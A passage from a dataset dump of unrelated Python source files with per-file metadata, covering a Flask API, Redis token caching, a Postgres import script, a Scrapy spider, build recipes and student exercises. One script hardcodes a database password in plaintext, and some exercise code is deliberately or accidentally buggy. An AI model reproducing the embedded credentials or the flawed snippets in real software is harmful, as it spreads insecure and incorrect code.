app.logger.handlers.extend(gunicorn_error_logger.handlers)\n\nlog = logging.getLogger(__name__)\n\ndef configure_app(flask_app):\n\n # change to mongo db\n flask_app.config['SWAGGER_UI_DOC_EXPANSION'] = settings.RESTPLUS_SWAGGER_UI_DOC_EXPANSION\n flask_app.config['RESTPLUS_VALIDATE'] = settings.RESTPLUS_VALIDATE\n flask_app.config['RESTPLUS_MASK_SWAGGER'] = settings.RESTPLUS_MASK_SWAGGER\n flask_app.config['ERROR_404_HELP'] = settings.RESTPLUS_ERROR_404_HELP\n \n\n \ndef initialize_app(flask_app):\n\n configure_app(flask_app)\n\n blueprint = Blueprint('api', __name__, url_prefix='/api/v1',static_folder='')\n api.init_app(blueprint)\n api.add_namespace(nalign_namespace)\n flask_app.register_blueprint(blueprint)\n register_error_handlers(api, flask_app, settings.FLASK_DEBUG)\n\ndef main(): \n log.info('>>>>> Starting development server at http://{}/api/v1 <<<<<'.format(app.config['SERVER_NAME']))\n initialize_app(app)\n app.run(debug=settings.FLASK_DEBUG, host=settings.HOST, port=settings.NALIGN_PORT)#,ssl_context=('cert.pem', 'key.pem'))\n\nif settings.GUNICORN_ENABLE :\n initialize_app(app)\n\nif __name__ == \"__main__\":\n main()\n \n","sub_path":"mv_musictool/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"15117103","text":"from .baseCache import BaseCache\n\nclass TokenCache(BaseCache):\n \"\"\"\n 微信token缓存\n\n set_cache 添加redis\n get_cache 获取redis\n \"\"\"\n _expire_access_token = 7200 # 微信access_token过期时间, 2小时\n _expire_js_token = 7200 # 微信js网页授权过期时间, 2小时\n KEY_ACCESS_TOKEN = 'access_token' # 微信全局唯一票据access_token在redis中键值\n KEY_JSAPI_TICKET = 'jsapi_ticket' # JS_SDK权限签名的jsapi_ticket在redis中键值\n\n def set_access_cache(self, key, value):\n \"\"\"添加微信access_token验证相关redis\"\"\"\n res = self.redis_ctl.set(key, value)\n self.redis_ctl.expire(key, self._expire_access_token)\n print('【微信token缓存】setCache>>>key[' + key + '],value[' + value + ']')\n return res\n\n def set_js_cache(self, key, value):\n \"\"\"添加网页授权相关redis\"\"\"\n res = self.redis_ctl.set(key, value)\n self.redis_ctl.expire(key, self._expire_js_token)\n print('【微信token缓存】setCache>>>key[' + key + '],value[' + value + ']')\n return res\n\n def get_cache(self, key):\n \"\"\"获取redis\"\"\"\n try:\n v = (self.redis_ctl.get(key)).decode('utf-8')\n print(v)\n print('【微信token缓存】getCache>>>key[' + key + '],value[' + v + ']')\n return v\n except Exception:\n return None\n","sub_path":"src/app/cache/tokenCache.py","file_name":"tokenCache.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"525714495","text":"#!/usr/bin/python2.4\n#\n# Script to read lists.csv into postgres tables\n#\n# Format of lists.csv:\n# ,,,**\n# (multiple memberids, no constraint on number)\n# list-id is a unique integer generated by Twitter to identify a list\n# memberid is a unique number generated by Twitter to identify a member of a list\n# NB skips the first line as it's just a header\n\nimport csv\nimport psycopg2\nimport numpy\n\nconn_string = \"dbname='nlstudent' user = 'nlstudent' password ='2015pink'\"\n# conn_string = \"dbname='nlstudent' user = 'postgres' password ='ireland'\"\n\nconn = psycopg2.connect(conn_string)\ncursor = conn.cursor()\n\n# check if list is in db - returns TRUE if not in db\ndef list_not_in_db(listi):\n try:\n cursor.execute(\"SELECT list_id FROM list_rec WHERE list_id = %s\", (listi,))\n return cursor.fetchone() is None\n except psycopg2.Error as e:\n print('ERROR:', e[0])\n conn.close()\n\n# delete the list_rec and list_member_rec for the given list_id\ndef delete_list_and_list_member_rec(listi):\n delete_list_member_rec = \"DELETE FROM list_member_rec WHERE list_id = %s;\"\n try:\n cursor.execute(delete_list_member_rec, [listi])\n conn.commit()\n except psycopg2.Error as e:\n print('ERROR:', e[0])\n conn.close()\n delete_list_rec = \"DELETE FROM list_rec WHERE list_id = %s;\"\n try:\n cursor.execute(delete_list_rec, [listi])\n conn.commit()\n except psycopg2.Error as e:\n print('ERROR:', e[0])\n conn.close()\n\ndef store_list_rec(listi, listn, listd):\n store_list = \"\"\"INSERT INTO list_rec(list_id,list_name,list_description)\n VALUES (%s,%s,%s)\"\"\"\n try:\n cursor.execute(store_list, (listi, listn, listd))\n conn.commit()\n except psycopg2.Error as e:\n print('ERROR:', e[0])\n conn.close()\n\ndef store_list_member_rec(list_i, member_i):\n store_list_member = \"\"\"INSERT INTO list_member_rec(list_id,member_id)\n VALUES (%s,%s)\"\"\"\n try:\n cursor.execute(store_list_member, (list_i, member_i))\n conn.commit()\n except psycopg2.Error as e:\n print('ERROR:', e[0])\n conn.close()\n\ndef print_db():\n read_all = \"\"\"SELECT list_name,l.list_id,list_description,lm.member_id\n FROM list_rec AS l\n JOIN list_member_rec AS lm\n ON l.list_id = lm.list_id\n ORDER BY list_id ASC \"\"\"\n cursor.execute(read_all)\n rows = cursor.fetchall()\n for record in rows:\n print(record)\n\n\ndef print_list():\n read_all = \"\"\"SELECT list_name,list_description\n FROM list_rec\"\"\"\n cursor.execute(read_all)\n rows = cursor.fetchall()\n for record in rows:\n print(\" \", record)\n\n\nreader = csv.reader(open('lists.csv', 'rb'))\nreader.next() # skip header row\n\n# read list-member records, format [listname,'list description',[contents]] where contents can be multiple members\nwith open('lists.csv', 'rb') as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar=\"'\")\n next(csvfile) # skip header row\n\n for row in reader:\n # print(row)\n for col in row:\n list_id = row[0]\n list_name = row[1]\n list_description = row[2]\n member_array = row[3]\n\n if list_not_in_db(list_id):\n # it's not in database so store this as a new list using the Twitter id as pk\n store_list_rec(list_id, list_name, list_description)\n else:\n # delete list_rec and list_member_rec for this list_id\n delete_list_and_list_member_rec(list_id)\n # store the new list_rec\n store_list_rec(list_id, list_name, list_description)\n\n # parse members from member_array\n member_list = member_array.split('*')\n # print (member_list)\n\n for member_id in member_list:\n print(list_id,' ',member_id)\n # add list_member_rec for this member_id,list_id\n store_list_member_rec(list_id,member_id)\n\nconn.close()\n\n","sub_path":"import_lists.py","file_name":"import_lists.py","file_ext":"py","file_size_in_byte":4079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"322125959","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\n\na=input(\"Digite o número binario:\")\ncont=1\nb=a\nc=a\nk=a\ng=a\nwhile (b//10!=0):\n if b/10!=0:\n cont=cont+1\n b=b//10\nj=0\nz=0\nfor i in range (1,cont+1,1):\n g=g%10\n z=(g*(2**j))+z\n \n \n \n c=c//10\n g=c\n j=j+1\nprint(z)","sub_path":"moodledata/vpl_data/38/usersdata/67/15261/submittedfiles/decimal2bin.py","file_name":"decimal2bin.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"152615922","text":"def calc(a,b,operation):\n \"\"\"\n returns the product of a and b if operation is 'product'\n returns the sum of a and b in any other case\n \"\"\"\n\n if operation == 'product':\n return a * b\n else:\n return a + b\n\nprint(calc('product',3,5))\n","sub_path":"2018/07/debug_me/1_5.py","file_name":"1_5.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"322856803","text":"'''\n#4\nx = 15\ny = 4\nz = x % y\nprint(z)\n\n#5\nx = int(input(\"Enter age: \"))\nprint(x)\n'''\n#6 - wrong\n#print(x.reverse())\nn = int(input(\"Enter age: \"))\nrev=0\nwhile(n>0):\n dig=n%10\n rev=rev*10+dig\n n=n//10\nprint(\"The reverse of your age: \", rev)\n'''\n#7\n((5*x**(3-y))/(6*(x-2))-1/x**(1/2)\n\n#8\nstr_1 = \"This is a string\"\nstr_2 = \"and this is another string!\"\nstr_3 = str_1 + \" \" + str_2\nprint(str_3)\n\n#9\nstr_1 = input(\"Type anything: \")\nstr_2 = input(\"and now, finish that sentence: \")\nstr_3 = str_1 + \" \" + str_2\nprint(str_3)\n'''\n","sub_path":"1045/w1Class/Tut Task 4.py","file_name":"Tut Task 4.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"408044042","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport urllib\nfrom cinii_crawl.items import CiniiCrawlItem\n\n\nclass RunSpider(scrapy.Spider):\n name = 'run'\n allowed_domains = ['ci.nii.ac.jp']\n # query = urllib.parse.quote_plus(\"自然言語処理\", encoding=\"utf-8\")\n start_urls = [\"https://ci.nii.ac.jp/search?q=自然言語処理&range=2&count=20&sortorder=1&type=0\"]\n count = 0\n custom_settings = {\n 'DOWNLOAD_TIMEOUT': 360,\n }\n\n def parse(self, response):\n self.count += 1\n if self.count > 200:\n return\n\n for paper in response.css(\"dl.paper_class\"):\n url = \"https://\"+self.allowed_domains[0]+paper.css(\"dt > a::attr('href')\").extract_first()\n abstract = paper.css(\"dd > p.item_snipet.item_summry.description::text\").extract_first().replace(\"\\n\", \"\").replace(\"\\t\", \"\")\n if abstract:\n yield scrapy.Request(url, callback=self.paper_parse)\n\n next_page = \"https://\"+self.allowed_domains[0]+response.css(\"#resultlist > div.paging > ul a[rel='next']::attr('href')\").extract_first()\n if next_page:\n yield scrapy.Request(next_page, callback=self.parse)\n\n def paper_parse(self, response):\n if response.css(\"#nav-content > ul.nav.navbar-nav.menu-utility-list > li:nth-child(3) > a::text\").extract_first() == \"Japanese\":\n url = \"https://\"+self.allowed_domains[0]+response.css(\"#nav-content > ul.nav.navbar-nav.menu-utility-list > li:nth-child(3) > a::attr('href')\").extract_first()\n yield scrapy.Request(url, callback=self.paper_parse)\n return\n\n item = CiniiCrawlItem()\n item[\"url\"] = response.url\n item[\"title\"] = response.css(\"#paperdata > h1 > span::text\").extract_first().replace(\"\\n\", \"\").replace(\"\\t\", \"\")\n item[\"abstract\"] = response.css(\"#itemdatatext > div:nth-child(5) > div > p.abstracttextjpn.entry-content::text\").extract_first()\n item[\"keyphrase\"] = response.css(\"#keyword > ul > li > a::text\").extract()\n #itemdatatext > div:nth-child(5) > div > p.abstracttextjpn.entry-content\n if item[\"abstract\"] and item[\"keyphrase\"]:\n yield item\n","sub_path":"build/lib/cinii_crawl/spiders/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"599561104","text":"# -*- coding: utf-8 -*- #\n# Copyright 2017 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Testing recorded sessions.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport os\n\nfrom tests.lib import sdk_test_base\nfrom tests.lib import session_test_base\nfrom tests.lib import test_case\nimport six\n\n\nclass SessionTestMeta(type):\n \"\"\"Metaclass generating a separate test* methods for every *.yaml file.\"\"\"\n\n def __new__(mcs, name, bases, namespace):\n session_tests_root = sdk_test_base.SdkBase.Resource('tests', 'integration',\n 'surface')\n for root, unused_dirs, files in os.walk(session_tests_root):\n for f in [f for f in files if f.endswith('.yaml')]:\n path = os.path.join(root, f)\n test_name = 'test{}'.format(os.path.splitext(os.path.relpath(\n path, session_tests_root))[0].title().replace(\n '/', '').replace('-', '').replace('_', ''))\n namespace[test_name] = mcs.GetTest(path)\n\n return super(SessionTestMeta, mcs).__new__(mcs, name, bases, namespace)\n\n @classmethod\n def GetTest(mcs, path):\n def Test(self):\n with session_test_base.SessionManager(self, self.Resource(path)):\n self.Run(self.command)\n return Test\n\n\nclass SessionTest(\n six.with_metaclass(SessionTestMeta, session_test_base.SessionTestBase)):\n\n pass\n\n\nif __name__ == '__main__':\n test_case.main()\n","sub_path":"google-cloud-sdk/lib/tests/integration/surface/local_runner.py","file_name":"local_runner.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"131373674","text":"def FormEndSetData(uideflist, auiname, apobjconst):\r\n config = uideflist.Config\r\n\r\n uipJenisRAK = uideflist.uipJenisRAK\r\n recJenisRAK = uipJenisRAK.Dataset.GetRecord(0)\r\n oAccount = config.CreatePObjImplProxy('Account')\r\n\r\n #ambil account name untuk akun RAK Pusat\r\n oAccount.Key = recJenisRAK.AccountCode_RAKPusat\r\n recJenisRAK.SetFieldByName('LAccountRAKPusat.account_code',recJenisRAK.AccountCode_RAKPusat)\r\n recJenisRAK.SetFieldByName('LAccountRAKPusat.account_name',oAccount.account_name)\r\n\r\n #ambil account name untuk akun RAK Cabang\r\n #assign looping untuk semua yang terdefinisi di grid LsRAKCabang\r\n uipLsRAKCabang = uideflist.uipLsRAKCabang\r\n dsListRAKCabang = uipLsRAKCabang.Dataset\r\n\r\n for i in range(dsListRAKCabang.RecordCount):\r\n recRAKCabang = dsListRAKCabang.GetRecord(i)\r\n\r\n oAccount.Key = recRAKCabang.GetFieldByName('LAccountInstance.account_code')\r\n #recRAKCabang.SetFieldByName('LAccountRAKCabang.account_code',oAccount.account_code)\r\n #recRAKCabang.SetFieldByName('LAccountRAKCabang.account_name',oAccount.account_name)\r\n\r\n return 0\r\n","sub_path":"dialogs/master/fJenisRAK_View_data.py","file_name":"fJenisRAK_View_data.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"305974522","text":"from functools import wraps\nimport os\nimport json\nfrom flask import request, g\nfrom google.oauth2 import id_token\nfrom google.auth.transport import requests\n\nfrom .exceptions import AuthError\nfrom .domain import User\nfrom .app import app\nfrom . import models\n\nALGORITHMS = [\"RS256\"]\n\n\ndef get_token_auth_header():\n \"\"\"Obtains the access token from the Authorization Header\n \"\"\"\n auth = request.headers.get(\"Authorization\", None)\n if not auth:\n raise AuthError(\n {\n \"code\": \"authorization_header_missing\",\n \"description\": \"Authorization header is expected\",\n },\n 401,\n )\n\n parts = auth.split()\n\n if parts[0].lower() != \"bearer\":\n raise AuthError(\n {\n \"code\": \"invalid_header\",\n \"description\": \"Authorization header must start with\" \" Bearer\",\n },\n 401,\n )\n elif len(parts) == 1:\n raise AuthError(\n {\"code\": \"invalid_header\", \"description\": \"Token not found\"}, 401\n )\n elif len(parts) > 2:\n raise AuthError(\n {\n \"code\": \"invalid_header\",\n \"description\": \"Authorization header must be\" \" Bearer token\",\n },\n 401,\n )\n\n token = parts[1]\n return token\n\n\ndef require_auth(f):\n \"\"\"Determines if the access token is valid\n \"\"\"\n\n @wraps(f)\n def decorated(*args, **kwargs):\n token = get_token_auth_header()\n try:\n idinfo = id_token.verify_oauth2_token(token, requests.Request())\n if idinfo[\"aud\"] not in [\n app.config[\"GOOGLE_WEB_CLIENT_ID\"],\n app.config[\"GOOGLE_CHROME_CLIENT_ID\"],\n ]:\n raise ValueError(\"Could not verify audience.\")\n user_id = idinfo[\"sub\"]\n email = idinfo[\"email\"]\n # `name` is None when id token is sent from chrome.\n name = idinfo.get(\"name\")\n g.user = User(id=user_id, email=email, name=name)\n except ValueError as e:\n print(e)\n raise AuthError(error=\"Invalid token\", status_code=401)\n\n return f(*args, **kwargs)\n\n return decorated\n","sub_path":"api/src/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"637824658","text":"from flask_mail import Message\n\nfrom app.mail import mail\n\n\ndef send_statistics_export_mail(recipient, attachments):\n msg = Message(\n subject=\"Spending Tracker - Statistics Exported\",\n recipients=[recipient],\n html=(\n \"
\"\n \"

Spending Tracker - Statistics Exported

\"\n \"
\"\n \"
\"\n \"

Statistics Exported

\"\n \"
\"\n \"
\"\n \"\"\n \"

If you've received this email and haven't initiated the \"\n \"exportation of your statistics, \"\n \"change your Spending Tracker password as soon as possible!

\"\n \"
\"\n \"
\"\n )\n )\n for attachment in attachments:\n msg.attach(filename=attachment['filename'],\n content_type=attachment['content_type'],\n data=attachment['data'])\n mail.send(msg)\n","sub_path":"app/statistics/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"426040769","text":"# 2.数据预处理\nfrom sklearn.ensemble import RandomForestRegressor\nimport numpy as np\nimport pandas as pd\nfrom sklearn import preprocessing\n\n# 设置结果显示完整\npd.set_option('display.max_columns', 1000)\npd.set_option('display.width', 1000)\npd.set_option('display.max_colwidth', 1000)\n\ndata_train = pd.read_csv(\"./data/train.csv\")\n\n'''\n发现Age(年龄)缺失的数据较少,所以采用插值法来处理。用到的插值方法是随机森林\n而Cabin(船舱号)则缺失了约3/4,而船舱号码暂时看不出来对获救有什么影响\n所以我选择了对其进行数值化,有船舱号的值记为为1,没有船舱号的记为0\n同样,为了方便后面的建模,对非数值的属性Sex(性别),Embarked(登舱口),Name(名字),Ticket(票号)进行同样的数值化处理。这里用到了pandas库中的dummies函数。\n'''\n\n# 使用 RandomForestClassifier 填补缺失的年龄属性\ndef set_missing_ages(df):\n print(\"into set_missing_ages\")\n age_df = df[['Age', 'Fare', 'Parch', 'SibSp', 'Pclass']]\n known_age = age_df[age_df.Age.notnull()].as_matrix()\n unknown_age = age_df[age_df.Age.isnull()].as_matrix()\n # print(\"know_age:\",known_age)\n # print(\"unknow_age\",unknown_age)\n\n y = known_age[:, 0] # 不为空的第一列所有元素\n x = known_age[:, 1:] # 分割出不为空矩阵第二列以后的所有元素\n rfr = RandomForestRegressor(random_state=0, n_estimators=2000, n_jobs=-1)\n rfr.fit(x, y)\n predictedAges = rfr.predict(unknown_age[:, 1:])\n # print(\"predictedAges:\",predictedAges)\n df.loc[(df.Age.isnull()), 'Age'] = predictedAges # loc通过行标签来索引数据\n return df\n\n\ndef set_Cabin_type(df):\n df.loc[(df.Cabin.notnull()), 'Cabin'] = \"Yes\"\n df.loc[(df.Cabin.isnull()), 'Cabin'] = \"No\"\n return df\n\n\ndata_train = set_missing_ages(data_train)\ndata_train = set_Cabin_type(data_train)\n# print(\"data_train\",data_train.head(30))\ndata_train.to_csv('processed_data1.csv') # 新文件夹没有空值\n\n# 对非数值的属性Sex(性别),Embarked(登舱口),Name(名字),Ticket(票号)进行数值化处理\ndummies_Cabin = pd.get_dummies(data_train['Cabin'], prefix='Cabin')\ndummies_Embarked = pd.get_dummies(data_train['Embarked'], prefix='Embarked')\ndummies_Sex = pd.get_dummies(data_train['Sex'], prefix='Sex')\ndummies_Pclass = pd.get_dummies(data_train['Pclass'], prefix='Pclass')\ndf = pd.concat([data_train, dummies_Cabin, dummies_Embarked, dummies_Sex, dummies_Pclass],\n axis=1) # 增加列属性,concat默认是增加行,axis=1为增加列\ndf.drop(['Pclass', 'Name', 'Sex', 'Ticket', 'Cabin', 'Embarked'], axis=1, inplace=True) # drop为删除原来的列,axis=1为删除列\ndf.to_csv('processed_data2.csv') # 新文件夹的数据都为数值型,对原数据进行了特征因子化\n\n#将Age和Fare两个属性进行零——均值标准化。\nscale_age=(df['Age']-df['Age'].mean())/df['Age'].std()\nscale_fare=(df['Fare']-df['Fare'].mean())/df['Fare'].std()\ndf.copy()\ndf['Age']=scale_age\ndf['Fare']=scale_fare\ndf.to_csv('processed_data3.csv')\n\n","sub_path":"Titanic/kaggele_titanic说明文档_gsy/思路一/2.data_pre_deal.py","file_name":"2.data_pre_deal.py","file_ext":"py","file_size_in_byte":3122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"234982734","text":"########################################################################\n# Copyright 2017 FireEye Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n########################################################################\n\nimport ctypes as ct\nfrom etw.GUID import GUID\nfrom etw import tdh\n\n\nCLSCTX_INPROC_SERVER = 0x1\nCLSCTX_INPROC_HANDLER = 0x2\nCLSCTX_LOCAL_SERVER = 0x4\nCLSCTX_INPROC_SERVER16 = 0x8\nCLSCTX_REMOTE_SERVER = 0x10\nCLSCTX_INPROC_HANDLER16 = 0x20\nCLSCTX_RESERVED1 = 0x40\nCLSCTX_RESERVED2 = 0x80\nCLSCTX_RESERVED3 = 0x100\nCLSCTX_RESERVED4 = 0x200\nCLSCTX_NO_CODE_DOWNLOAD = 0x400\nCLSCTX_RESERVED5 = 0x800\nCLSCTX_NO_CUSTOM_MARSHAL = 0x1000\nCLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000\nCLSCTX_NO_FAILURE_LOG = 0x4000\nCLSCTX_DISABLE_AAA = 0x8000\nCLSCTX_ENABLE_AAA = 0x10000\nCLSCTX_FROM_DEFAULT_CONTEXT = 0x20000\nCLSCTX_ACTIVATE_32_BIT_SERVER = 0x40000\nCLSCTX_ACTIVATE_64_BIT_SERVER = 0x80000\nCLSCTX_ENABLE_CLOAKING = 0x100000\nCLSCTX_APPCONTAINER = 0x400000\nCLSCTX_ACTIVATE_AAA_AS_IU = 0x800000\nCLSCTX_PS_DLL = 0x80000000\n\nCLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER\n\nCOINIT_MULTITHREADED = 0\nCOINIT_APARTMENTTHREADED = 2\n\n\nclass ComException(Exception):\n \"\"\"\n Raise for an COM exception\n \"\"\"\n\n\nclass ComClassInstance:\n this = None\n vtbl = None\n\n def __init__(self, this, vtbl):\n self.this = this\n self.vtbl = vtbl\n\n\nclass COM:\n '''\n COM wrapper class. Wraps COM initialization / uninitialization via ctxmgr.\n\n N.B. If using this class, do not call init() and fini() directly. Only use through via ctxmgr\n '''\n def __init__(self, coinit=COINIT_MULTITHREADED):\n self.coinit = coinit\n self.initialized = False\n\n def __enter__(self):\n self.init()\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.fini()\n\n def init(self):\n result = ct.windll.ole32.CoInitializeEx(None, self.coinit)\n if result != tdh.ERROR_SUCCESS:\n raise ct.WinError()\n self.initialized = True\n\n def fini(self):\n ct.windll.ole32.CoUninitialize()\n self.initialized = False\n\n def create_instance(self, clsid, type, iid):\n\n if self.initialized is False:\n raise ComException('COM must be initialized before calling CoCreateInstance()')\n\n ptr = ct.c_void_p(0)\n error = ct.windll.ole32.CoCreateInstance(ct.byref(GUID(clsid)),\n None,\n type,\n ct.byref(GUID(iid)),\n ct.byref(ptr))\n if error != tdh.ERROR_SUCCESS:\n raise ct.WinError()\n return ptr\n\n def init_security(self, desc, auth_svc, as_auth_svc, auth_level, imp_level, auth_list, capabilities):\n\n if self.initialized is False:\n raise ComException('COM must be initialized before calling CoInitializeSecurity()')\n\n error = ct.windll.ole32.CoInitializeSecurity(desc,\n auth_svc,\n as_auth_svc,\n None,\n auth_level,\n imp_level,\n auth_list,\n capabilities,\n None)\n if error != tdh.ERROR_SUCCESS:\n raise ct.WinError()\n\n def set_proxy_blanket(self, proxy, auth_svc, authz_svc, name, auth_level, imp_level, auth_info, capabilities):\n\n if self.initialized is False:\n raise ComException('COM must be initialized before calling CoSetProxyBlanket()')\n\n error = ct.windll.ole32.CoSetProxyBlanket(proxy,\n auth_svc,\n authz_svc,\n name,\n auth_level,\n imp_level,\n auth_info,\n capabilities)\n if error != tdh.ERROR_SUCCESS:\n raise ct.WinError()\n","sub_path":"etw/com.py","file_name":"com.py","file_ext":"py","file_size_in_byte":4909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"272920400","text":"import math #biblioteca para a função de raiz quadrada\n\na = int(input(\"Digite a: \"))\nb = int(input(\"Digite b: \"))\nc = int(input(\"Digite c: \"))\n\ndelta = b**2 - (4*a*c)\n\nif delta > 0:\n\traiz1 = (-b + math.sqrt(delta)) / (2 * a)\n\traiz2 = (-b - math.sqrt(delta)) / (2 * a)\n\tprint(\"As raizes são:\", raiz1, raiz2)\nelse:\n\tprint(\"A equação não possui raízes que pertencem aos números reais\")","sub_path":"material/respostas_exercicios/lista3/exe5.py","file_name":"exe5.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"29118300","text":"# Copyright 2020 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nfrom PB.recipes.flutter.engine import InputProperties\nfrom PB.recipes.flutter.engine import EnvProperties\n\nDEPS = [\n 'depot_tools/bot_update',\n 'depot_tools/depot_tools',\n 'flutter/build_util',\n 'flutter/os_utils',\n 'flutter/repo_util',\n 'fuchsia/goma',\n 'recipe_engine/context',\n 'recipe_engine/file',\n 'recipe_engine/path',\n 'recipe_engine/properties',\n 'recipe_engine/service_account',\n 'recipe_engine/step',\n]\nPROPERTIES = InputProperties\nENV_PROPERTIES = EnvProperties\n\n\ndef RunSteps(api, properties, env_properties):\n # Collect memory/cpu/process after task execution.\n api.os_utils.collect_os_info()\n\n checkout_path = api.path['cache'].join('builder', 'src')\n cache_root = api.path['cache'].join('builder')\n api.goma.ensure()\n dart_bin = checkout_path.join(\n 'third_party', 'dart', 'tools', 'sdks', 'dart-sdk', 'bin'\n )\n android_home = checkout_path.join('third_party', 'android_tools', 'sdk')\n env = {'GOMA_DIR': api.goma.goma_dir, 'ANDROID_HOME': str(android_home)}\n env_prefixes = {'PATH': [dart_bin]}\n api.repo_util.engine_checkout(cache_root, env, env_prefixes)\n with api.depot_tools.on_path():\n api.build_util.run_gn(['--runtime-mode', 'release'], checkout_path)\n api.build_util.build('host_release', checkout_path, [])\n\n host_release_path = checkout_path.join('out', 'host_release')\n script_path = checkout_path.join(\n 'flutter', 'testing', 'benchmark', 'generate_metrics.sh'\n )\n with api.context(env=env, env_prefixes=env_prefixes,\n cwd=host_release_path), api.step.defer_results():\n api.step('Generate metrics', ['bash', script_path])\n # This is to clean up leaked processes.\n api.os_utils.kill_processes()\n # Collect memory/cpu/process after task execution.\n api.os_utils.collect_os_info()\n\n benchmark_path = checkout_path.join('flutter', 'testing', 'benchmark')\n script_path = checkout_path.join(\n 'flutter', 'testing', 'benchmark', 'upload_metrics.sh'\n )\n\n service_account = api.service_account.default()\n access_token = service_account.get_access_token(\n scopes=[\n 'https://www.googleapis.com/auth/cloud-platform',\n 'https://www.googleapis.com/auth/datastore'\n ]\n )\n access_token_path = api.path.mkstemp()\n api.file.write_text(\n 'write token', access_token_path, access_token, include_log=False\n )\n env['TOKEN_PATH'] = access_token_path\n env['GCP_PROJECT'] = 'flutter-cirrus'\n with api.context(env=env, env_prefixes=env_prefixes, cwd=benchmark_path):\n api.step('Upload metrics', ['bash', script_path])\n\n\ndef GenTests(api):\n yield api.test(\n 'basic', api.properties(InputProperties(goma_jobs='200', no_lto=True))\n )\n","sub_path":"recipes/engine/engine_metrics_1_26_0.py","file_name":"engine_metrics_1_26_0.py","file_ext":"py","file_size_in_byte":2859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"94919357","text":"import os\n\nfrom flask import Flask, Response, request, g, json, \\\n jsonify, redirect, url_for, flash, Blueprint, abort, render_template, session\n\nfrom jinja2 import TemplateNotFound\n\nfrom csgo import views\nfrom csgo.config import DefaultConfig\nfrom csgo.extensions import db, oid\n\n\n__all__ = ['create_app']\n\nDEFAULT_APP_NAME = 'csgotard'\n\nDEFAULT_MODULES = (\n (views.homepage, \"\"),\n (views.music, \"/music\")\n)\n\ndef create_app(config=None, app_name=None, blueprints=None):\n\n if app_name is None:\n app_name = DEFAULT_APP_NAME\n\n if blueprints is None:\n blueprints = DEFAULT_MODULES\n\n app = Flask(app_name)\n\n configure_app(app, config)\n\n configure_blueprints(app, blueprints)\n configure_extensions(app)\n\n return app\n\n\ndef configure_app(app, config):\n \n app.config.from_object(DefaultConfig())\n\n if config is not None:\n app.config.from_object(config)\n\n app.config.from_envvar('APP_CONFIG', silent=True)\n\n\ndef configure_blueprints(app, blueprints):\n \n for blueprint, url_prefix in blueprints:\n app.register_blueprint(blueprint, url_prefix=url_prefix)\n\n\ndef configure_extensions(app):\n db.init_app(app)\n oid.init_app(app)\n\napp = create_app","sub_path":"csgo/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"118795085","text":"from flask import Flask, render_template, redirect\r\nimport pymongo\r\nimport scrape_mars\r\n\r\napp = Flask(__name__)\r\n\r\nconn = \"mongodb://localhost:27017\"\r\nclient = pymongo.MongoClient(conn)\r\ndb = client.marsDB\r\n\r\n#Create a root route that will query Mongo database and pass the mars data into an HTML template\r\n@app.route(\"/\")\r\ndef index():\r\n mars = 